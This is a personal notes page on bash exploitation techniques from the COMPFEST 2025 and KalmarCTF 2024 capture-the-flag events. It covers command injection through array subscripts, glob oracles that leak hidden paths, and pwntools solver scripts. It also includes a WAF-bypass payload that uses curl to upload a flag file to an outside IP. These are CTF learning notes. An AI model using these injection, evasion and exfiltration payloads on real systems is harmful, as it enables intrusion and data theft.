Skip to content

Categories

Bash

there’s some strange behaviour in bash version 5.0.3(1)-release (in version 5.2.26 doesn’t work) where array such as this will execute header_namethis is vulnerable too from kalmarctf 2024this works t...

Created

Updated

4 min read

Reading time

1 categories

Topics covered

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

Command substitution ignore null byte in input, make us can do path traversal using -z options in basename

Event NameCOMPFEST 2025 Quals
GitHub URL-
Challenge Namebassh
Attachments
References

┌──(dimas㉿Dimas)-[~/documents/writeup/compfest]
└─$ ls $(basename -s .py -z .. / .. / .. / .. / .. / .. /)
bash: warning: command substitution: ignored null byte in input
bin   home            lib         media  root       srv  var          wslCmgFoP  wsljiHdFL  wslmieAAa
boot  init            lib32       mnt    run        sys  vmlinuz      wslEdiBAa  wslJmlgFL
dev   initrd.img      lib64       opt    sbin       tmp  vmlinuz.old  wslFbCppP  wsljNLgEL
etc   initrd.img.old  lost+found  proc   SessionDB  usr  wslAEPkoP    wslhmFbFL  wslLICEDL

there’s some strange behaviour in bash version 5.0.3(1)-release (in version 5.2.26 doesn’t work) where array such as this will execute header_name

header_name='x[$(whoami)]'

testing[$header_name]="x"

this is vulnerable too from kalmarctf 2024

        if [[ -v request_headers[$header_name] ]]; then

this works too in latest version

header='a[0$(uname>&2)]: asd'
header_name=$(echo -n "$header" | cut -d ':' -f 1 | sed 's/^\s*//g' | sed 's/\s*$//g' | tr '[:upper:]' '[:lower:]');
header_value=$(echo -n "$header" | cut -d ':' -f 2- | sed 's/^\s*//g' | sed 's/\s*$//g');
request_headers[$header_name]=$header_value
if [[ -v request_headers[$header_name] ]]; then
    echo "Invalid Content-Length"
fi

but it can’t be trigger if we declare the array before

set -e

declare -A request_headers

header='a[0$({touch,foo})]: asd'
header_name=$(echo -n "$header" | cut -d ':' -f 1 | sed 's/^\s*//g' | sed 's/\s*$//g' | tr '[:upper:]' '[:lower:]');
header_value=$(echo -n "$header" | cut -d ':' -f 2- | sed 's/^\s*//g' | sed 's/\s*$//g');
request_headers[$header_name]=$header_value
if [[ -v request_headers[$header_name] ]]; then
    echo "Invalid Content-Length"
fi

Note that arithmetic evaluation can be done by $((...)) (aka $[...] in bash or zsh) but also depending on the shell in the let, [/test, declare/typeset/export..., return, break, continue, exit, printf, print builtins, array indices, ((..)) and [[...]] constructs to name a few).

https://unix.stackexchange.com/questions/172103/security-implications-of-using-unsanitized-data-in-shell-arithmetic-evaluation

rce

set -e

declare -A request_headers

header='a[0$({touch,foo})]:'
header_name=$(echo -n "$header" | cut -d ':' -f 1 | sed 's/^\s*//g' | sed 's/\s*$//g' | tr '[:upper:]' '[:lower:]');
header_value=$(echo -n "$header" | cut -d ':' -f 2- | sed 's/^\s*//g' | sed 's/\s*$//g');
request_headers[$header_name]=$header_value
if [ -v request_headers[$header_name] ]; then
    echo "Invalid Content-Length"
fi

Glob in if [ $protocol != 'HTTP/1.0' ] && [ $protocol != 'HTTP/1.1' ]; then abort 'Invalid protocol' fi can leak file location/hidden path

https://ireland.re/posts/KalmarCTF_2024/#webbadass-server-for-hypertext

but you must know at least 2 path before?

from pwn import *known1 = 'f200d055a267ae56160198e0fcb47e5f'known2 = '26c3f25922f71af3372ac65a75cd3b11'total_payload = ''directory = ''def attempt(payload):
    conn = remote('chal-kalmarc.tf',8080)
    req = f"""HEAD /assets/f200d055a267ae56160198e0fcb47e5f/try_harder.tx /app/static/assets/{total_payload}{payload}*Host: chal-kalmarc.tf:8080    """.lstrip() + "\r\n" * 2    conn.send(req)
    resp = conn.recvall()
    return resp
for i in range(len(known1)):
    flag = False    charset = string.hexdigits[:-6]
    charset = charset.replace(known2[i], '')
    # case where known1[i] == target[i]    payload = f"[{known1[i]}]"    resp = attempt(payload)
    if b'No such file or directory' in resp:
        total_payload += payload
        directory += known1[i]
        print(directory)
        continue    for c in charset:
        payload = f'[{c}{known1[i]}]'        resp = attempt(payload)
        if b'No such file or directory' in resp:
            total_payload += payload
            directory += c
            print(directory)
            flag = True            break    # no match by this point means known2[i] == target[i]    if not flag:
        total_payload += f"[{known1[i]}{known2[i]}]"        directory += known2[i]
        print(directory)
    print(total_payload)
print(directory)
flag_payload = f"""GET /assets/{directory}/flag.txt HTTP/1.1Host: chal-kalmarc.tf:8080""".lstrip() + "\r\n" * 2conn = remote('chal-kalmarc.tf',8080)
conn.send(flag_payload)
print(conn.recvall())

another solution using word splitting

for i in 0 1 2 3 4 5 6 7 8 9 a b c d e f; do echo $i;(echo 'GET / !\ -d\ /app/static/assets/'9$i'*\ -o\ HTTP/1.0'; echo ; echo;) | nc chal-kalmarc.tf 8080 | head -n 1; done
from pwn import remote, context
import string
from concurrent.futures import ThreadPoolExecutor


def guess(prefix):
    context.log_level = "error"
    io = remote("chal-kalmarc.tf", 8080)
    io.send(
        f"GET /assets/../../../../ -f\ /app/static/assets/{prefix}*/flag.txt\ -a\ x\r\n\r\n".encode()
    )
    return b"400 Bad Request" in io.recvall()


chrs = string.hexdigits
prefix = ""
while len(prefix) < 32:
    with ThreadPoolExecutor() as executor:
        futures = [executor.submit(guess, prefix + c) for c in chrs]
        for fut, c in zip(futures, chrs):
            if fut.result():
                prefix += c
                print(prefix)
                break
# printf 'GET /assets/../../../../app/static/assets/9df5256fe48859c91122cb92964dbd66/flag.txt HTTP/1.0\r\n\r\n' | nc chal-kalmarc.tf 8080

another solution

bash had read without -p so you could do globbing and use that as an oracle to leak chars:

from pwn import *import time
import string
path = '9'while True:
    found = False    for char in 'abcdef0123456789':
        conn = remote('chal-kalmarc.tf', '8080')
        glob = b'/app/static/assets/' + path.encode() + char.encode() + b'*/../../../../../*/*/*/*/*/*'        start = time.time()
        conn.send(b'GET / HTTP/1.1\ ' + glob + b'\r\n\r\n\r\n')
        conn.recv()
        conn.close()
        if time.time() - start > 0.5:
            found = True            path += char
            break    print(path)
    if not found:
        break

Bash Waf Bypass Payload

"|c${u}d .. && c${u}d .. && l${u}s && cu${u}rl -F "fi${u}le=@fl${u}ag.png" "108.137.34.7:5000

We can read /proc/<id>/fd/<num>

we can read the file descriptor using something like cat and etc

Categories & Topics

This note is categorized under the following topics. Click on any category to explore more related content.

Share this note

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.